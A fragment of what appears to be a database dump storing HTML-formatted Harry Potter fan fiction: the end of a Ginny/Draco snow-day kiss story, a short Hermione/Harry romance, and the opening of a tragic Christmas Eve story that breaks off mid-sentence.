feet\ndangling above the ground as she bit her lip, trying not to stare out the\nwindow.&nbsp; But how could she resist,\nwhen an odd shiver went up her spine, as she looked that way, seeing the\nwonderful snowflakes falling, imagining tasting one of them, shivering as they\nmelted on her tongue. </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">How could she\nresist when her eyes glazed over each time as she stared out the window,\nwondering how something could look so white, so pure, and so absolutely,\nwonderfully beautiful.&nbsp; She could\nnot.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Letting out a\nwhoosh of breath, she jumped out of the soft warm chair, abandoning the\nwelcoming light and warmth of the fire, and climbed bare-foot out of the\nportrait hole, still in her white nightgown, running toward the doors as fast\nas she could.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">The great doors\nwere nearing now, and when she skidded to a stop in front of it, she let out a\nslight giggle, then burst the great doors open, frowning with effort.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">As she took in\nthe beautiful scene in front of her, she let out a small gasp, a sign of her\nawe.&nbsp; The cold, inviting air\nwhooshed in, blowing her fiery red hair.&nbsp;\n</p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Without wasting\nanother moment, she jumped outside, sighing as she felt the soft snow under her\nfeet, promptly sticking out her tongue, letting the sweet specks fall onto\nit.&nbsp; By now, quite a few inches of\nthe wonderful substance had accumulated, and there were no signs of relenting,\nmuch to Ginny&#8217;s delight.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Yelling freely,\nwaving her arms about, she ran wildly about the flat land, spinning around,\nabsolutely loving the feeling of freshness that she got.&nbsp; It was the oddest feeling, it really\nwas; the way she felt every winter.&nbsp;\nEvery winter, the first snow of the year would make her scream and jump\naround for joy, and it would seem as if she were a child again.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Laughing softly\nto herself, she plopped down onto the ground, and covered herself with the cold\nsnow, admiring the way they glittered.&nbsp;\nStaring up at the clear gray sky, her eyes sparkled with true happiness,\nthe way they could when they appreciated the simple things in life.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Spreading out\nher arms, she waved them up and down, her legs doing the same.&nbsp; Then, jumping up, she admired the snow\nangel she had made, giggling yet again. Letting out a loud sigh, she shivered\nonce, staring off into the distance.&nbsp;\nWhat was that in the distance? </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">She squinted,\nwondering if she was seeing right.&nbsp;\nFor amid the whiteness, there was a dot, slowly nearing where she was\nstanding.&nbsp; It looked quite odd, a\nblack dot in the middle of a white blizzard of snow.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Intrigued at who\nit was that dared to walk outside, alone in this cold day, she waited, all the\nwhile wondering who it could be, and waited&#8230; and waited.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Slowly, he came\ninto view, a tall boy with a heavy black coat, trudging tiredly down the\npath.&nbsp; As Ginny saw him shiver, she\ncouldn&#8217;t help but smile.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">He was\nundoubtedly older than her, taller than her, but as to who he was; she could\nnot see.&nbsp; But it did not matter.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:16.0pt">&#8220;\nHello!&nbsp; Want to have a snowball\nfight?&#8221; she chirped happily, feeling cheery.&nbsp; Nothing, absolutely nothing could ruin her day, and it\nseemed that the snow was so magical, it made her feel like she was not Ginny\nWeasley, the red headed shy girl, but someone else, someone who did not\nconstantly worry about what other people would think, and it made her feel as\nif everything would be fine. So why not ask this stranger if he wanted to have\nsome fun?&nbsp; It was, after all, all\nin the spirit of this wonderful season. </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:16.0pt">Hearing the\nloud voice, the boy looked up, and when he did, his hat was blown off by the\nplayful wind, revealing silver blonde hair.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:16.0pt">And as he\nlooked up, she saw the most stunning gray eyes, standing out quite clearly\napart from the snow, his porcelain skin emanating a beautiful glow&#8212;Draco\nMalfoy.&nbsp; His eyes hardened at the\nvoice, but when he found the source, his face relaxed, and his eyes became\nsofter, a small smirk upon his thin lips.&nbsp;\n</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Weasley.&#8221; He murmured, nodding once.&nbsp; A small rosy blush crept up the small\ngirl&#8217;s cheek, feeling the worst embarrassment.&nbsp; If she had known that the boy was Draco Malfoy, she\nwould&#8217;ve kept her mouth shut. Now she felt merely stupid, as well as\ncrushed.&nbsp; Biting her lip, there was\nno smile upon her face now, only apprehension.&nbsp; Seeing the girl act this way, his smirk widened.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220; I don&#8217;t bite, you know.&#8221; He teased amusedly,\ncompletely ignoring her foolish question; and for this, she was quite grateful.\nGinny let herself look up at the tall boy, and she smiled ever so shyly,\nlooking like a small toddler smiling shyly up at a stranger, apprehensive, but\nyet sweetly.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220; Aren&#8217;t you cold?&#8221; he asked, looking her up and down,\nthen frowning slightly.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220; N-no&#8230;I&#8217;m fine&#8230;&#8221; she murmured, feeling\nher cheeks redden even more, at the simple words that he flung at her, simple,\nbut considerate.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">&nbsp;&#8220; Ah, I see.&#8221; was the only\nresponse she got. Then, nodding at her, he turned and headed for the great snow\ncovered castle, hands in his pockets, looking oddly lonely.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nShouldn&#8217;t you best be heading back now?&#8221; he threw over his\nshoulder.&nbsp; &#8220; I&#8217;m sure\nthe great git you call your brother would not approve if you got a\ncold.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nGinny, who up until now had felt only slight intimidation at the blonde\nboy, now felt a pang of annoyance.&nbsp;\nOf course, he was right.&nbsp;\nHer brother <b>would</b> flip if he had\nknown she had gone out into the cold, wearing nothing but a threadbare\nnightgown.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220; Oh, didn&#8217;t know you cared, Malfoy.&#8221; She spat rather\nspitefully, then biting her lip, wondering if he had heard.&nbsp; But since there was no change in his\ndemeanor, and since he was still walking, she sighed and assumed he\nhadn&#8217;t.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220; I don&#8217;t care, not really.&#8221; He called nonchalantly,\ntaking her by surprise, and making her blush again furiously, wishing she had\nher mouth taped together.&nbsp; &#8220;\nI just like to bring pain to others, by reminding them of things they&#8217;d\nrather not think about.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">With this, he\nstopped, and turned around, his eyes half closed, staring down at her\nimportantly.&nbsp; Another pang of\nannoyance hit Ginny.&nbsp; Inching\ncloser to Draco, she narrowed her eyes unattractively, and poked a finger in\nhis chest.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nI&#8217;m guessing that&#8217;s the sole reason of your existence, then?&#8221;\nshe asked scathingly, surprised at her own daring.&nbsp; He did not flinch.&nbsp;\n</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nQuite right you are.&nbsp; Smart\ngirl.&#8221; He smirked nastily.&nbsp;\nStepping even closer, Ginny purposely stepped on his shiny, black\nshoes.&nbsp; Then, she laughed rather\nsadistically, unlike herself.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now I see\nwhy my brother hates you so much.&nbsp;\nYou really are an annoying git.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220; Git, I am, but I\nam not annoying.&nbsp; People fear\nme.&#8221; He protested thoughtfully. Ginny let out a frustrated cry.&nbsp; He was so infuriating!&nbsp; Always so calm, never one to be\naffected by hurtful words.&nbsp; Was\nthis why Harry, Ron, and Hermione seemed to hate him so much?&nbsp; Grumbling, Ginny roughly pushed him\naway from her.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220; Ugh, go\nstick your head in a dark hole, Malfoy, and stop ruining my perfect day!&#8221;\nShe tried to walk past him, but was stopped by his tall form.&nbsp; He stared down at her, looking taller\nthan ever.&nbsp; </p>\n\n<p class="MsoBodyText2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220; Oh, I&#8217;m sorry,\ndear Weasley.&nbsp; I&#8217;ve ruined\nyour perfect day, eh?&#8221;&nbsp; Ginny\nmerely glared.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&#8220; Ah&#8230;there must be\nsome way to make it perfect again.&#8221; He murmured, clearly mocking\nher.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220; No,\nthere isn&#8217;t a way.&nbsp; Not now\nthat I&#8217;ve seen your ugly face!&#8221;&nbsp; Ginny spat at him ferociously. Which was a lie, really,\ncalling him ugly, because the fact was-- he looked quite nice.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nArching a perfect dark blonde eyebrow, his face leaned closer to hers,\nhis eyes glittering maliciously, dancing with excitement.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I\nthink there is.&#8221; He whispered softly, before Ginny&#8217;s eyes fluttered\nclose, and his warm lips covered her own. His strong arms wrapped around hers,\nkissing her so softly, softer than she ever remembered the snow being, him\ntasting so exotic, so sweet, so <i>intriguing.</i>&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Their kiss was\nslow and easy, and although the passion there was undeniable, Ginny was\nhesitant; they both were, at what they were doing. The slow hesitation made it\ntaste even sweeter somehow; sweet and innocent. </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">There was magic\nin the air.&nbsp; Ginny felt her body\nflush with warmth, even as the cold wind blew in her hair, his hands smoothing\nthem back down, then stroking her cheek. They made her feel so warm and nice,\nbut at the same time, sent chills up her body, in a way that the cold or winter\nsnow had never done.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">It was all so\nsudden, without warning; but Ginny didn&#8217;t mind.&nbsp; She couldn&#8217;t mind.&nbsp; How could she, when she was savoring every moment his lips\ntouched hers?&nbsp; How could she have\never known that Draco Malfoy could seem so alluring?&nbsp; That he could be the one to take her breath away?&nbsp; But before she had much time to ponder\nthis, it was over.&nbsp; He pulled back,\ngasping slightly for breath, gray eyes sparkling.&nbsp; Cocking his head slightly, flashing her a slight smile&#8212;a\nslight breathtaking smile, he whispered softly, enticingly in her ear.</p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">&#8220; Have an\namazingly perfect day.&#8221; </p>\n\n<p class="MsoBodyText" style="margin-right:1.0in">Then, with a slight smirk of\ntriumph upon his pale face, he walked away toward the school, leaving Ginny\nWeasley in her white nightgown, blushing furiously as she touched her tingling\nlips, eyes wide with surprise and delight.&nbsp; </p>\n\n<p class="MsoBodyText" style="margin-right:1.0in;text-indent:.5in">Long after he\nhad left, she stayed outside, the snow still falling, now loving it more than\never, as the magical powder fell softly onto her hair, and then to the\nground.&nbsp; She stayed out, smiling as\nshe thought of her secret encounter with the great Draco Malfoy, licking her\nlips as she thought of his eyes, and the way that they had looked at her, and\neverything else about him, down to the way his pale hair glittered wonderfully\nin the light.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Somehow, after\nthe short kiss, everything seemed to be much more beautiful and magical, and\nChristmas seemed even closer.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Somehow, Draco\nMalfoy&#8217;s short kiss had done magic to Ginny&#8217;s heart, which was\nstill, after an hour, beating just as fast.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in">Giggling, she\nran about freely once more, never once losing the tingle in her lips. She never\nonce wondered why he had kissed her.&nbsp;\nWhat did it matter?&nbsp; Perhaps\nit was simply the wonderful snow, working its magic, the holiday spirits up\nhigh.&nbsp; Thinking of how such simple\nthings could bring joy to her, she began singing softly:&nbsp; &#8216;<i>&#8230;Let it snow, Let it\nsnow, Let it snow&#8230;&#8217;&nbsp; </i></p>\n\n<p class="MsoNormal" style="margin-right:1.0in;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:1.0in">A/N: ^_^</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(67, 1, '\n\n\n\n<p>	I can count on one hand how many girls Harry has liked.  Three.  There was Cho, Ginny, and weird obsession with Blaise Zabini right now.   I can also count on one hand the boys I have liked.  One.  Harry.</p>\n<p>	Ever since he saved me from the troll first year, I have liked Harry.  Its gotten to the point where I am pretty sure I am in love.  Unfortunately, Harry doesn&#8217;t know it.  And, ever since Harry and Ron have noticed girls were&#8230;well, girls, I have been their girl therapist of sorts.</p>\n<p>	&#8220;Hermione, is hugging Cho just because a little too weird?&#8221;</p>\n<p>	&#8220;Yes, Harry.  Tell her you are sorry about Cedric <i>and then </i>hug her.&#8221;</p>\n<p>	&#8220;Hermione, Padma Patil is really hot.  Do you think she&#8217;ll give me a lap dance?&#8221;</p>\n<p>	&#8220;NO, Ron.  I don&#8217;t think so, for the hundredth time.  Stop asking me that.&#8221;</p>\n<p>	So that&#8217;s me, basically, destined to be boys&#8217; best friend, someone to discuss their girl problems with.  Never mind that I have been dropping hints like mad to Harry, he is too busy mooning over Blaise&#8230;squicky.</p>\n<p>	So I tell Ginny my problems, but as soon as she finds out Harry did like her in the beginning of sixth year, she almost goes into cardiac arrest.  So I go to someone else.  But there is no one else, so I talk to then next best thing&#8230;Crookshanks.</p>\n<p>	&#8220;This is getting ridiculous.  I must stop liking Harry.  Five bloody years&#8230;FIVE!  This is silly, and HE LIKES OTHER GIRLS!  Not you, Hermione, no.&#8221;</p>\n<p>	And then Crookshanks, obviously bored with my speech, jumps off the couch and walks towards the door.  My eyes follow him, and settle on&#8230;a pair of feet.  I look up to face&#8230;Harry.  Perfect.  I wonder how much he heard?</p>\n<p>	&#8220;I, uh, I, er, I&#8230;I need to go.&#8221;  He stammers and then leaves.  Which means that he&#8217;s heard my entire rant&#8230;to my cat.  Bloody perfect.</p>\n<p>	This is the beginning of Awkward Moments.  Harry avoids me, and I blush scarlet every time I see him.  Until one day, it happens.  Harry Potter, defeater of evil from age one to age sixteen, makes the bravest decision of a lifetime.  He starts talking to me.</p>\n<p>	&#8220;Uh, Hermione,&#8221; he says, hoping he wasn&#8217;t interrupting my fifth time reading <i>Hogwarts, A History</i>, &#8220;I need some advice.  Y&#8217;see, there is this girl&#8230;&#8221;</p>\n<p>	&#8220;I see.  Go on.&#8221;</p>\n<p>	&#8220;And I think that she likes me, and I know I like her.  But I am not sure.  What should I do?&#8221;</p>\n<p>	Obviously, he didn&#8217;t understand this advice when I gave to him for Cho, Ginny and Blaise (ick).</p>\n<p>	&#8220;Here&#8217;s a new approach, Harry.  Go up to this girl and snog her brains out.  If she doesn&#8217;t slap you, she has a thing for you.&#8221;  I say impatiently, while chanting, &#8220;someday my prince will come&#8221; in my head.</p>\n<p>	Harry looks thoughtful.  &#8220;Ok.&#8221; he says tentatively.  He leans across the table, and&#8230;is that his mouth&#8230;on mine?  Oh Lord is he a good kisser.  I&#8217;ll have to thank Blaise I suppose.</p>\n<p>	He pulls away, green eyes looking intently into mine.  I take a deep breath and quietly say, &#8220;Well, it took you long enough.&#8221;</p>\n<p>	He laughs softly and I lean in for another kiss.  Oh goodness, I&#8217;ll really have to thank Blaise for teaching him <i>that</i>.</p>\n<p>	I guess my prince has come.</p>\n\n'),
	(68, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b><i>&#8220;Essence.&#8221; </i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><b>Summary: </b><i>He realized that he had been a total\nbrat. But on the Christmas Eve he totally redeemed his stupidity. An H/Hr fic\nwith a certain amount of fluffiness. </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Room was dark; the embers had burned themselves to black\nand worthless coal. </p>\n\n<p class="MsoNormal">The only visible light that illuminated the king-sized room\ncame from a corner, where a wand glowed, lightly emitting barely enough light\nto recognize the general features of the room. </p>\n\n<p class="MsoNormal">&nbsp;A table, two chairs\nand a four-poster bed. That was all. Yet it was more then enough for them. </p>\n\n<p class="MsoNormal">In the dim light of the wand one could barely recognize two\nfigures laying on the bed, holding on each other tightly. They were sound\nasleep. Even though they were lying closer to each other, almost in each other&#8217;s\narms yet no one could criticize their chastity. </p>\n\n<p class="MsoNormal">A peaceful expression was present on the faces of both\nsilhouettes. </p>\n\n<p class="MsoNormal">Somewhere, the clock chimed 1.O.Clock. The time was coming. </p>\n\n<p class="MsoNormal">The end was coming. </p>\n\n<p class="MsoNormal">The door of the room cracked. </p>\n\n<p class="MsoNormal">A shadow peeped in through the small opening. He looked at\nthe two figures lying peacefully in each other&#8217;s arms. </p>\n\n<p class="MsoNormal">Tears trickled down the cheek of the shadow. </p>\n\n<p class="MsoNormal">&#8220;Let them lie there for a moment. Don&#8217;t disturb their\neternal peace.&#8221; He whispered to another shadowed who tried to open the door\nwide. </p>\n\n<p class="MsoNormal">The other shadow nodded, and without saying anything\nenveloped the first shadow into a firm hug. It immediately gave way and\napparently lost all the patience. </p>\n\n<p class="MsoNormal">&#8220;They are gone! Oh Draco! They are gone!&#8221; It sobbed into the\nshoulders of Draco Malfoy who just held it tightly. </p>\n\n<p class="MsoNormal">&#8220;No Ginny they are not gone. They are here. Here in our\nheart.&#8221; He pointed towards his heart. </p>\n\n<p class="MsoNormal">&#8220;Even though they are gone, yet their memories will always\nstay with us.&#8221; He whispered choking at the last sentences. Ginny didn&#8217;t say\nanything but hugged Draco more closer, until finally their lips brushed against\neach other, feeling the heat in each other. Holding on each other, they\nsilently closed the door and moved away, disappearing in the gloomy darkness of\nthe corridor. </p>\n\n<p class="MsoNormal">Inside the room, the atmosphere was the same. </p>\n\n<p class="MsoNormal">Time rolled on. The wand light became fainter and fainter\nuntil at last it gave only a small glow barely allowing one to see the outline\nof the two figures. </p>\n\n<p class="MsoNormal">And there they lay, holding hands, their eyes though\nbecoming cold, still held warmness incarnate. Suddenly, one of the figures\nstirred. The mop of black hairs that fell on his forehead, hiding his signature\nwas disturbed for a while and one could see the lighting-bolt scar. The only\ndifference was that instead of being a black, smoky color, it was of deep red,\nlike a blazing fire. Fire, which held fury untold. Like some lost soul was\nwithering in torment and had gathered its all energy as a sign of malice\nagainst the light side. </p>\n\n<p class="MsoNormal">&nbsp;He slowly opened his\neyes. He was staring in blackness. To him it seemed that far away a faint light\nwas glowing but slowly becoming dimmer and dimmer like a beacon of hope for\nhim. When it would die, he would also die. A small smile crept on his face. </p>\n\n<p class="MsoNormal">He desired nothing. He had obtained everything he wanted. </p>\n\n<p class="MsoNormal">Or had he? </p>\n\n<p class="MsoNormal">Was he sure?</p>\n\n<p class="MsoNormal">Was he sure that he didn&#8217;t want her companionship anymore?</p>\n\n<p class="MsoNormal">Her! His Hermione!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His eyes were now becoming accustomed with the black darkness.\nHe could make out someone lying just next to him. He could feel a strangely\nwarm and soothing hand holding onto his left hand. He could feel a slight\nbruise on her hand. A token of her love for Harry. </p>\n\n<p class="MsoNormal">&nbsp;He remembered\neverything. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">They had gone out on the grounds with Ron. Ron was clearly\nunhappy with there relationship. He knew that he didn&#8217;t love Hermione but he\nstill wanted to acquire her, just because of his jealousy of Harry. He wanted\nto prove that he was a match of Harry. </p>\n\n<p class="MsoNormal"><i>They cared for him. They knew of his dislike of their\nrelationship and that night they had taken him out in the grounds to make up\nthings between them and to settle the matter once and for all. </i></p>\n\n<p class="MsoNormal"><i>The mistletoe creaked under their toes as they made there\nway stealthily though the Great Hall, which was being prepared for Christmas.\nDecorations were underway and the elves were singing gaily, in anticipation of\nthe happy event of tomorrow. The eve of Christmas was a beautiful one. Full\nmoon shown on the perfectly clear sky, the snow that had fallen in the last two\ndays is light illuminating it. The great lake was quiet and the reflection of\nthe forest on the yonder side and the proud Moon produced a sinister, yet\nbeautiful effect. </i></p>\n\n<p class="MsoNormal"><i>He remembered thinking about the muggle stories of Santa\nthat was so-often read to him by the church priest of the local church. He\nremembered often wondering how Santa would be like? How it would be like to\nreceive a proper gift? He realized now that all the stuff concerning Santa was\njust a myth, yet it still warmed his heart to think about it. </i></p>\n\n<p class="MsoNormal"><i>About gifts!<br>\nThe biggest gift of all!<br>\nHis Hermione!</i></p>\n\n<p class="MsoNormal"><i>He remembered looking at her, awed by her plain, yet\nstriking beauty. He felt he had an internal connection with her. The ease with\nwhich he often understood her modes and her reactions was just amazing\nsometimes. He felt good in Hermione&#8217;s presence. Almost too good. She was\nbeautiful, she was caring, she loved and most importantly she was there for\nher. She had understood Harry more correctly then anyone else. She had given\nHarry the warmth and love he desired, he wanted he needed. </i></p>\n\n<p class="MsoNormal"><i>He remembered gently touching Hermione&#8217;s shoulder. He\ncould feel that she was aware of his touch as a small blush crept on her face,\nmaking Harry&#8217;s heart pound a little. </i></p>\n\n<p class="MsoNormal"><i>She looked so cute when she blushed. Well she always\nlooked cute, yet somehow she could sound more cuter when she blushed. He\nremembered withdrawing a hand tentatively, catching her&#8217;s with his. She hadn&#8217;t\ncringed at his cold, gloved touch. She had given way almost naturally as if she\nwas made fit for there. </i></p>\n\n<p class="MsoNormal"><i>He could remember swearing that Hermione was made for\nhim. He was all to aware of the gentle flutter of his heart and the idiotic\nmovements of his body limbs whenever Hermione was in sight. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;Of late, his had\nbeen full of blissful thoughts and moments, and often he would rise in the\nnight feeling very cheerful, him being very taut and straight. Often his\nroommates with the exclusion of Ron had teased him about &#8220;cries&#8221; and &#8220;squeals&#8221;\nthat would suddenly pierce the silence of the dormitory at night. He remembered\na very sullen looking Ron walking beside him just a meter apart. He had caught\nhim steeling &#8220;not-so-fiendlike-and-other-like&#8221; glances at Hermione. He hadn&#8217;t\nliked that but he couldn&#8217;t just mention it then and there. This would be the\nend of their parley, and though as much as He loved Hermione, he still wanted\nto keep a friendship with Ron, although Ron had taken every measure within his\nreach to hinder their friendship. </i></p>\n\n<p class="MsoNormal"><i>&nbsp; He remembered\npassing through the silent entrance hall, and then on the pavement. He\nremembered feeling the sudden wave of coldness that had frozen his body for a\nmind. Almost naturally he had huddled closer to Hermione brushing his hand\nagainst the tip of her chest. She had turned scarlet and drops of sweat had\nformed on her brow. </i></p>\n\n<p class="MsoNormal"><i>He remembered watching Ron who apparently tried to show\nhis dis concern but was doing a very bad job so far. Even a blind dotard could\nsee the jealous look on his face whenever Harry or Hermione smiled at each other.\n</i></p>\n\n<p class="MsoNormal"><i>&nbsp;They had walked\nthrough the Hogwarts grounds, among heaps of frozen soft snow. When they had\nreached the empty hut of Hagrid they had stopped for a moment. </i></p>\n\n<p class="MsoNormal"><i>Harry remembered those awkward moments. Nothing was\nspoken for a moment. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>And then it had happened&#8230;</i></p>\n\n<p class="MsoNormal"><i>They were standing in the pumpkin patch just behind\nHagrid&#8217;s hut. They were huddled closer, hugging themselves internally. He\nremembered that something had troubled his mind. Some type of unknown peril. At\nthat time, Harry had dismissed that as a mere thrill of being in the open at so\nlate an hour in so cold a weather. Not did he realize that it was something\nelse then the mere thrill.</i></p>\n\n<p class="MsoNormal"><i>The wind had picked up slightly. Stray clouds were\nsteadily gathering and moon suddenly seemed to have shrunk a little. Harry felt\nhis eyes lingering on Hermione. He could feel that she also was troubled. Only\nRon was not depressed. He still was in a sullen mode. </i></p>\n\n<p class="MsoNormal"><i>Harry could now remember a sudden chill creeping down his\nspine all the time he had spent in that paddock. </i></p>\n\n<p class="MsoNormal"><i>He had shrugged it of as adrenalin or Hormonal excitement\n(which wasn&#8217;t very uncommon in these days. After all he was in his 7th\nyear)</i></p>\n\n<p class="MsoNormal"><i>Harry still remembered with dread the exact moment when\nit had happened. </i></p>\n\n<p class="MsoNormal"><i>Ron had opened his mouth, probably to say something\ncutting and entirely in vain when they saw dark figures apparating outside the\npaddock and running towards them. This was so sudden that for a moment they\ncouldn&#8217;t react. By the time they took out their wands the dark figures had\nsurrounded the paddock. At that time Harry remembered from the corner of his\neyes noticing a stray dog running towards the castle. An escort of Auror&#8217;s was\nliving in the castle. He suddenly realized what had happened and what would\nhappen. He realized that if he could just hold Voldermort for a moment then the\nAuror&#8217;s would arrive soon. </i></p>\n\n<p class="MsoNormal"><i>He had turned towards Voldermort and&#8230;</i></p>\n\n<p class="MsoNormal"><i>He and Voldermort had a long conservation. Voldermort\napparently hadn&#8217;t noticed the dog running towards the castle. </i></p>\n\n<p class="MsoNormal"><i>He remembered with horror his confrontation with\nVoldermort. </i></p>\n\n<p class="MsoNormal"><i>He realized that he must have used some wit to hold\nVoldermort off for some moments. </i></p>\n\n<p class="MsoNormal"><i>He had viewed some of the death-eaters had stirred\nrestlessly but it seemed that they feared their Lord too much to interfere. </i></p>\n\n<p class="MsoNormal"><i>Fear had been the Dark Lord&#8217;s biggest weapon, but as\nalways fear had turned its back at Dark Lord. </i></p>\n\n<p class="MsoNormal"><i>Just when Voldermort was about to kill Harry, blasts had\nsounded and then suddenly figures on broomsticks had appeared, throwing curses\nmercilessly at the death-eaters.</i></p>\n\n<p class="MsoNormal"><i>Then it had happened which was the Dark Lord&#8217;s bane.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>The brilliant wit of Hermione had always surprised Harry\nand then again she had showed just how clever she was. Quick as lighting\nmustering all her power she had conjured a force field around themselves and\nLord Voldermort. He was standing too closer to be excluded from the force\nfield. </i></p>\n\n<p class="MsoNormal"><i>Now they were free from the attacks of the death-eaters\nas long as Hermione lived. </i></p>\n\n<p class="MsoNormal"><i>But the Dark Lord had merely laughed. So sure was he of\nhis victory that it had clouded his wits. He had thought the trio as worthless.\nWrong was he there. </i></p>\n\n<p class="MsoNormal"><i>The dark lord had merely laughed and his poisonous laugh\nhad echoed in Harry&#8217;s mind. He had said that he would kill all of them slowly\nand that the death of the mud-blood would be the most painful and tormenting.\nThen he had turned towards Ron, who was too overcome with fear to do anything. </i></p>\n\n<p class="MsoNormal"><i>And then he had muttered it&#8230;</i></p>\n\n<p class="MsoNormal"><i>The final blow&#8230;</i></p>\n\n<p class="MsoNormal"><i>Men&#8217;s bane&#8230;</i></p>\n\n<p class="MsoNormal"><i>The magic words&#8230;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Aveda Kedavra!&#8221; </i></p>\n\n<p class="MsoNormal"><i>But before the curse could hit Ron, Harry and Hermione\nboth jumped in front of Ron. Their fingers met each other and they had held\neach other&#8217;s hand together. Beren and Luthien. They had received the curse on\ntheir bodies. Their love for each other was so great the curse didn&#8217;t effect\nfully on them. It 